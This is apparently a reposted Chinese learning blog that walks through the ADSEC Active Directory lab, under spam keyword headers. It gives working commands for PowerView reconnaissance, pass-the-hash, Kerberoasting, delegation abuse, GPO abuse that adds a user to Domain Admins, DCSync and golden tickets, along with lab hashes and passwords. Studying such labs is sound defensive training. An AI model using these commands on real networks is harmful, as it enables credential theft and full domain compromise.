日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

从Github一开源项目ADSEC【学习域渗透攻防基础】

發布時間:2025/3/21 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 从Github一开源项目ADSEC【学习域渗透攻防基础】 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


學習的開源項目是:

https://github.com/cfalta/adsec

有些地方是直接Google 翻譯過來的。

注意:本人域滲透新手,很多問題都不懂,有問題歡迎大哥后臺留言啊!!!

Lab Setup – 域環境搭建

學習的過程中,最難的就是環境搭建了。(因為有些坑,別人不一定遇到,么有地方可以問,然后有些問題就離譜。。)

物理機:MacBookPro 2020 Intel i5
虛擬機:Vmware Fusion Windows Server 2019 * 3

域成員用戶密碼:P@ssw0rd123!(00和01)
域機器本地管理員密碼:P@ssw0rd123!@#(P@ssw0rd123!!!)
域控機器管理員密碼:P@ssw0rd123!!!
密碼隨便自己設置符合要求就可以,這里列出來只是害怕忘記了。

搭建一個域控,兩臺域成員機器,然后能ping通就好了。
Configure the following steps on every VM:

Point the DNS server to the IP of ADSEC-DC
Disable Windows Firewall (run in Powershell with admin rights)

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Disable Windows Defender
Uninstall-WindowsFeature -Name Windows-Defender


在兩臺成員機器上用, john P@ssw0rd/blee TekkenIsAwesome! 來認證加入域。



![

攻擊機器環境搭建

](https://img-blog.csdnimg.cn/6165c2c1457a4ba6b126109021b23421.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hCb2hhbg==,size_16,color_FFFFFF,t_70)

該環境是假設john這臺ADSEC-00 被攻破了,作為入口來進行AD域滲透。因為要通過powershell 腳本來安裝攻擊的工具,所以需要再分配一張網卡,讓這臺機器出網。

neo4j 圖數據庫安裝

https://neo4j.com/artifact.php?name=neo4j-desktop-1.4.7-setup.exe

https://www.oracle.com/java/technologies/javase-jdk11-downloads.html

BloodHound

Exercise 1 – Reconnaissance(域信息搜集)

這里主要是用的PowerView,
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

首先是導入PowerView模塊,

cat -raw “.\PowerView.ps1” | iex

域內基礎信息和域控信息

比如域名、域控ip、域控的操作系統版本等

獲取所有域計算機和用戶
注意:通常情況下需要過濾,因為真實的域環境中會有大量結果。

Get-DomainComputer

過濾域管:

Get-DomainUser|?{$_.memberof -like “Domain Admins”} | select
samaccountname

只顯示用戶名:
在這里插入圖片描述

獲取所有域計算機,但僅顯示名稱、DNS 名稱和創建日期,并以表格形式顯示

Get-DomainComputer | select samaccountname,dnshostname,whencreated |
Format-Table

獲取自定義用戶組

Get-DomainGroup | ? { $.distinguishedname -notlike “CN=Users” -and
$.distinguishedname -notlike “CN=Builtin”} | select
samaccountname,description

第一章問題

(主要就是熟悉PowerView的相關用法,Powershell查詢語法)
https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon

域中有多少臺計算機以及它們在什么操作系統上運行?

域中有多少用戶對象?編寫一個 powershell 查詢,以表格形式列出所有用戶,僅顯示屬性 samaccountname、displayname、description 和最后一次密碼更改

您能識別任何自定義管理組嗎?以通用方式更改上面的 powershell 查詢,使其僅返回自定義管理組。

Get-DomainGroup | ? { $.distinguishedname -like “CN=Manage” -or
$.distinguishedname -like “CN=admin”} | select
samaccountname,description

誰是您找到的自定義管理員組的成員,他最后一次設置密碼是什么時候?

想出識別域中服務帳戶的簡單方法嗎?編寫一個 powershell 查詢,根據您提出的模式列出所有服務帳戶。

Get-DomainUser -SPN |select
serviceprincipalname,userprincipalname,pwdlastset,lastlogon

Exercise 2 – NTLM (Pass-the-Hash)【哈希傳遞攻擊】

工具:

mimikatz
psexec

獲取到管理員的hash,37bef461dec3d4cb748209d3c3185132

然后pth,

sekurlsa::pth /user:Administrator
/ntlm:37bef461dec3d4cb748209d3c3185132 /domain:redteamlab.com

問了下龍哥這種情況,

https://support.accessdata.com/hc/en-us/articles/204150405-Disable-Remote-UAC

然后需要重啟。發現也不成功。。。 而且什么是remoteuac呢?

在windows Vista之后引入了一種默認開啟的remote UAC,計算機的任何非SID 500本地管理員帳戶,
用戶在遠程計算機上沒有特權提升能力,并且用戶無法執行管理任務。

kb2871997對于本地Administrator(rid為500,操作系統只認rid不認用戶名,接下來我們統稱RID 500帳戶)和本地管理員組的域用戶是沒有影響的

我人傻bi了,我一直在非域控的機器上pth…

第二章問題

mimikatz 命令“privilege::debug”和“token::elevate”的目的是什么?為什么需要執行它們?第一個是提權,第二個是假冒令牌。用于提升權限至 SYSTEM 權限(默認情況下)或者是發現計算機中的域管理員的令牌。
以 Bruce Lee 的身份登錄 adsec-01。 使用您在上面學到的知識并幫助 john 從內存中遠程提取 Bruce Lees NTLM 哈希。 注意:“lsadump::sam”只轉儲本地密碼數據庫。 您需要使用不同的命令從內存中提取數據。


在互聯網上研究如何最好地減輕傳遞哈希攻擊。描述您認為最好的緩解技術,并解釋您選擇它們??的原因。
1.微軟在2014年5月13日發布了針對Pass The Hash的更新補丁kb2871997,標題為”Update to fix the Pass-The-Hash Vulnerability”,而在一周后卻把標題改成了”Update to improve credentials protection and management”。(事實上,這個補丁不僅能夠緩解PTH,還能阻止mimikatz 抓取明文密碼
2.監控Windows事件日志,發現異常了馬上應急處理
3.禁用RID=500的管理員賬戶
是否有可能(并且可行)完全禁用 NTLM?解釋你的理由。
不可能,理由從正常使用來說,域認證和一些應用認證都需要NTLM Hash。從其他角度,還不知道。
限制傳入域的 NTLM 流量

Exercise 3 – Kerberos (Roasting)

使用Kerberoasting破解服務賬號“taskservice”的密碼。

加載使用的powershell 腳本:

cat -raw .\PowerView.ps1 | iex cat -raw .\Invoke-Rubeus.ps1 | iex

獲取具有服務主體名稱 (SPN) 的所有域用戶。

Get-DomainUser -SPN | select samaccountname, description, pwdlastset,
serviceprincipalname

使用Rebus來進行統計Kerberos

Invoke-Rubeus -Command “kerberoast /stats”

運行 Rubeus 來獲取目標用戶的 TGS
Invoke-Rubeus -Command “kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt”

![

在這里插入圖片描述](https://img-blog.csdnimg.cn/6857f796e32d4e05866b25d90375af96.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hCb2hhbg==,size_16,color_FFFFFF,t_70) $krb5tgs$23$*taskservice$redteamlab.com$HTTP/task.contoso.com*$68EEDDB21370D83E51B255E76E092D96$236B6181FCE72FBDDD1593A6A0354248E2FFDCD8FF1C80FA1CD9CDCC5AF7B021D5650116FB85566BD51E646F6E7EDEC6A2CE72CBD4292919992A5809CE64EA5102D8F3698905D61864F5F3D248B80205EC82090F572F70CA6058FFA9B770EE2FDE5E6BDC17267C45D820DB32DE48BA75A4940948EBAD7F52F8E5E0CA0EFFAE5181692EC805BF9DD8B95F791064C039448DEA4E0D778209C18E9228FD8CACDBE1E38BE2B2510FF931D35B9C69FF459F223B0E97A55D1A9D8B6F33D563293DADAF5F11133CAFE6FEC13B2681148F88633C4E765CE7B37A23954ABC76F7D1203FD7E34C5F3B1F7BBE46C0D8A37BF96A73FFAD3DF7C2949A213FE1D26353FD8190893AE63F526C8E09AA2E7F1EB08CE0640D3420FD603AB14816F1D30100C758AC4028AA571F3F2423533FAAE2A8FA22CC7DC3322A160D0D5C667C6682B151A043615A4E8C008282EFDFE58E190686CF03DB92276968054BCDBBAA89456D3BBC98B8861D02C0FF8EBF211BF38D8632EEF913EC7C3981BDDAC048D1C7B8E77F86AA0AC455F393D4B21AC7F67B7DCEC79617995818955B0F9C19BCB409EFAF0B3644389607DF129199DE2A6D30E4A6B34781B2DE32D99AFEE1FF2935377EA45EE43DBEFCEB9C54C7315274E282F0B0329C0818D94953EDDA8F92E4BBF0A96777E10403F7D6A057E0E8FDFFF22ACE176D820DA6CD66E759D0CB21083F5CE466DEAC56B5A2FD2BF59C56BC0F5FEB8BCC81B4FA57FBB77EAB0A9E4C5EE663E35C6F0C1EEC3C9C87406EC699833C37C469682D9E54B3C76E6A041136D9962C239E2A9768C751456A3C830C5E004C31D93A17386EDF83F46CBA3CCE6C640EF128784044AF5F327D280E47007DA68CF3C10261F1E0B06DD674BA26EC518F1DF3136D5953F3265B964AC454A70BFDF18F89C3FA9EAF7A9C6AFC6C077B7B3282E1A49F7BE75316BE7497C0E387D36BDA129200A1C62F82333A38B2F6C4B0BF15A6EA38D9A8DCC8D0AED8520C864F84CE89253DB0F9BCB23A4C8C1A1880F512687982EB7DCA2CA4CCF38B2EDB9C53FE078AFDA87C2E8BA02D9930C4D7903E8EC97EB79CF8F796DDD4E056008E88B0A7A0A4B5EEC2E30A92E5CD2EF4E2D6F3955D3818D2311FBF31B32042159DF0592D03E478F50F9FE898DBF2C4865B6CE3511229B0F7F4C1ECFFA3B90E343401024FE5C999EB36337812F50C6ED95A69B2B3E951B3EC013D245BA48FB0347A33B930CA48A7516DCB198D7A3E03E9F97D89248ABC597D770EAF6100DEA9BD54CF63F4E87D784EC651403AF7ACEC1C8D1CD1645C526AEEBBE70F8A258DFF38C569462CC4E61E08EA2A26EC6007D0DC200181FBD32AADA9C5C6EF9168F3C85755773EE6C6878ED820722EB3CA57DE786005D5820FAFF8E0F6BA82436C91A2851C5132D6F973B12015A1211E7261A1C6FDAE79E62AB17C2B3110FD027731008D0EEBFB4CC4F9278518

使用john來破解TGS,

.\john.exe ..\krb5tgs.txt --wordlist=..\..\example.dict --rules=passphrase-rule2

第三章問題

](https://img-blog.csdnimg.cn/6c93c606fe5544bdad117c9f62f2173e.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hCb2hhbg==,size_16,color_FFFFFF,t_70)

在線研究如何最好地減輕 kerberoasting 攻擊。描述您認為最好的緩解技術,并解釋您選擇它們??的原因。增加密碼長度,能夠提高破解難度,并且定期修改關聯的域用戶口令。
盡量將域內的服務器系統升級至少至 windows2008 系統,應用 AES256 高難度的加密算法
禁止用戶開啟do not require kerberos preauthentication
還有另一個用戶帳戶容易受到 AS-REP roasting的影響。使用上一個練習中類似的命令破解他的密碼。 (提示:Get-DomainUser -NoPreauth)

獲取到hash

使用john 破解密碼

.\john.exe C:\Users\john\krb5tgs2.txt --wordlist=..\..\example.dict --rules=passphrase-rule2--wordlist=..\..\example.dict --rules=passphrase-rule2

Explain the difference between the two attacks you just executed (TGS vs. ASREP roasting).https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting

Exercise 4 – Kerberos (Delegation) 委派攻擊

委派有:

約束委派
非約束委派
基于資源的約束委派
這里將濫用用戶“taskservice”的約束委派權限來訪問 adsec-01。

查找已啟用約束委派的用戶。

Get-DomainUser -TrustedToAuth

查找允許的委派目標。

Get-DomainUser -TrustedToAuth | select -ExpandProperty msds-allowedtodelegateto

因為之前通過 kerberoasting得到了 taskservice 的密碼,我們可以生成hash,用

Invoke-Rubeus -Command "hash /password:Amsterdam2015 /domain:redteamlab.com /user:taskservice"

[*] Action: Calculate Password Hash(es)[*] Input password : Amsterdam2015 [*] Input username : taskservice [*] Input domain : redteamlab.com [*] Salt : REDTEAMLAB.COMtaskservice [*] rc4_hmac : C010AED6AEE4804A3C49FDD0518FCA5D [*] aes128_cts_hmac_sha1 : D969340CE347859B0B8B44CA43D994EE [*] aes256_cts_hmac_sha1 : D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA [*] des_cbc_md5 : 988F1CC4FB0DC873

Rubeus 允許我們在新的登錄會話中啟動 powershell。這意味著我們偽造的票據只存在于這次登錄會話中,不會干擾用戶 john 已經存在的 kerboers 票據。

Invoke-Rubeus -Command "createnetonly /program:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /show"

使用 s4u 去向KDC 請求TGS 模擬域管理員 “Bruce Willis” (bwillis) 然后去攻擊ADSEC-01,這里請求三種不同的服務票據,CIFS將用于SMB訪問、HOST/RPCSS用于WMI

Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:cifs/adsec-01.redteamlab.com /ptt" Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:host/adsec-01.redteamlab.com /ptt" Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:rpcss/adsec-01.redteamlab.com /ptt"


s4u 是什么?這里復習一下 學習Kerberos 協議時的內容。
S4U分兩種,2SELF和2PROXY

S4U2self 使得服務可以代表用戶獲得針對服務自身的kerberos服務票據。這使得服務可以獲得用戶的授權( 可轉發 的用戶TGS票據),然后將其用于后期的認證(主要是后期的s4u2proxy),這是為了在用戶以不使用 Kerberos 的方式對服務進行身份驗證的情況下使用。這里面很重要的一點是服務代表用戶獲得針對服務自身的kerberos票據這個過程,服務是不需要用戶的憑據的
s4u2proxy 使得服務1可以使用來自用戶的授權( 在S4U2SELF階段獲得),然后用該TGS(放在AddtionTicket里面)向KDC請求訪問服務2的TGS,并且代表用戶訪問服務2,而且只能訪問服務2。
詳細的過程可以去看daiker 師傅的文章。

klist 查看生成的Kerberos 票據

確定創建的票據是否成功
通過SMB:

ls \\adsec-01.redteamlab.com\C$

通過wmi:

Get-WmiObject -Class win32_process -ComputerName adsec-01.redteamlab.com

第四章問題

上面的練習中,您通過 SMB 和 WMI 獲得了對服務器 adsec-01 的讀取訪問權限。 現在嘗試通過這兩個協議來獲取代碼執行全系。 目標是執行以下命令,該命令會將用戶 john 添加到本地 admin 組:”net localgroup Administrators john /ADD”wmic /node:adsec-01 process call create “cmd.exe /c net localgroup Administrators john /add”
實現一種使用 SMB 和 WMI 實現此同樣目標的方法。提示:我們已經在 PTH 練習中使用了依賴于 SMB 的遠程管理工具,并且 Powershell 包含用于調用 WMI 方法的本機命令。
psexec
嘗試模擬域管理員用戶“Chuck Norris”而不是“Bruce Willis”。它有效嗎?解釋為什么。
可以攻擊ADSEC-DC(域控),而不是ADSEC-01.

Exercise 5 – ACL-based attacks

工具:

PowerView
BloodHoundAD
第一部分介紹使用 Bloodhound 從 Active Directory 收集和分析數據。第二部分演示了對組策略的基于 ACL 的攻擊。

Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
-CollectionMethod DcOnly 表示只從域控制器收集數據。 從 opsec 的角度來看,這是更可取的,因為從流量來看是正常的。
-Stealth 意味著單線程運行。 速度較慢,但不容易被安全設備發現。
-PrettyJson 格式化 .json 文件。
-NoSaveCache 表示不保存緩存文件。 因此,每次運行 Sharphound 時,它都會從頭開始。

啟動neo4j圖數據庫,

啟動BloodHound,將之前跑出來的json 文件導入。

在Queries中 選擇尋找所有域管:

將用戶“taskservice”標記為已經拿下。找到允許我們使用用戶 taskservice 控制域控制器的攻擊路徑。

然后尋找到域控的最短攻擊路徑

這里顯示用戶對域控的組策略有寫入權限(GenericWrite),通過組策略利用,攻擊DC

前面的練習顯示用戶“taskservice”對“默認域控制器”組策略具有寫入權限。我們將使用它來獲得域管理員權限。

使用taskserivce用戶登錄,需要密碼,密碼我們之前通過Kerberoasting
已經拿到了,Amsterdam2015

因為我把工具放在john 桌面上的,這里是沒有權限,因為john 已經是作為打域的口子了,已經被拿下,把工具放在C:\下面就行。

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author contoso\adminuser --Command "cmd.exe" --Arguments '/c net group \"Domain Admins\" john /ADD' --GPOName "Default Domain Controllers Policy" --force

現在已經將 john 用戶添加到域管這個用戶組了,但是真實環境中,必須等到域管重新更新組策略才會觸發。這里直接在域控上手工更新了。

成功將域普通用戶提權為域管理員。

然后成功登錄域控:

Exercise 6 – Persistence(權限維持)

mimikatz 后門
白銀票據、黃金票據
and so on
因為我們現在已經有了域管權限(Administrators, Domain Admins, Enterprise Admins 都可以),可以通過 DCSync attack 來進行一個權限維持

這里用的是mimikatz,

lsadump::dcsync /user:krbtgt

拿到域內所有用戶的hash。

使用mimikatz 制作黃金票據(使用Chuck Norris用戶),在域控上查看事件id是不是4624,黃金票據登錄和正常登錄有什么區別。
正常來說認證訪服務的流程是先4768(TGT)-4769(TGS)-4624(logon),但是黃金票據攻擊的話只會有4769-4624,因為TGT已經離線生成了

再制作一個黃金票據,要求這個用戶在AD里不存在,RID為500,/id:500,然后使用這個票據去訪問SMB或者遠程PowerShell。那個能成功訪問到。
在DCsync Attack的時候已經獲取到了 krbtgt用戶的hash了,現在還需要獲得域用戶的sid。

whoami /user(在cnorris的cmd) 或者 lsadump::dcsync /user:cnorris

S-1-5-21-2285992356-195623764-2499460835-1106

然后制作黃金票據:

kerberos::golden /domain:redteamlab.com /sid:S-1-5-21-2285992356-195623764-2499460835-1106 /krbtgt:37710395b3dbb0e193a6a79b7831859c /user:cnorris /ticket:golden.kirib

導入偽造的票據,看能不能獲取到域控權限。

kerberos::purge kerberos::ptt golden.kiribi kerberos::list

成功訪問到域控的共享文件夾。
然后登錄域控查看事件

問題二:

感謝大佬的指點

這有我整理的網絡安全的資料,你有需要嘛

《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀

總結

以上是生活随笔為你收集整理的从Github一开源项目ADSEC【学习域渗透攻防基础】的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。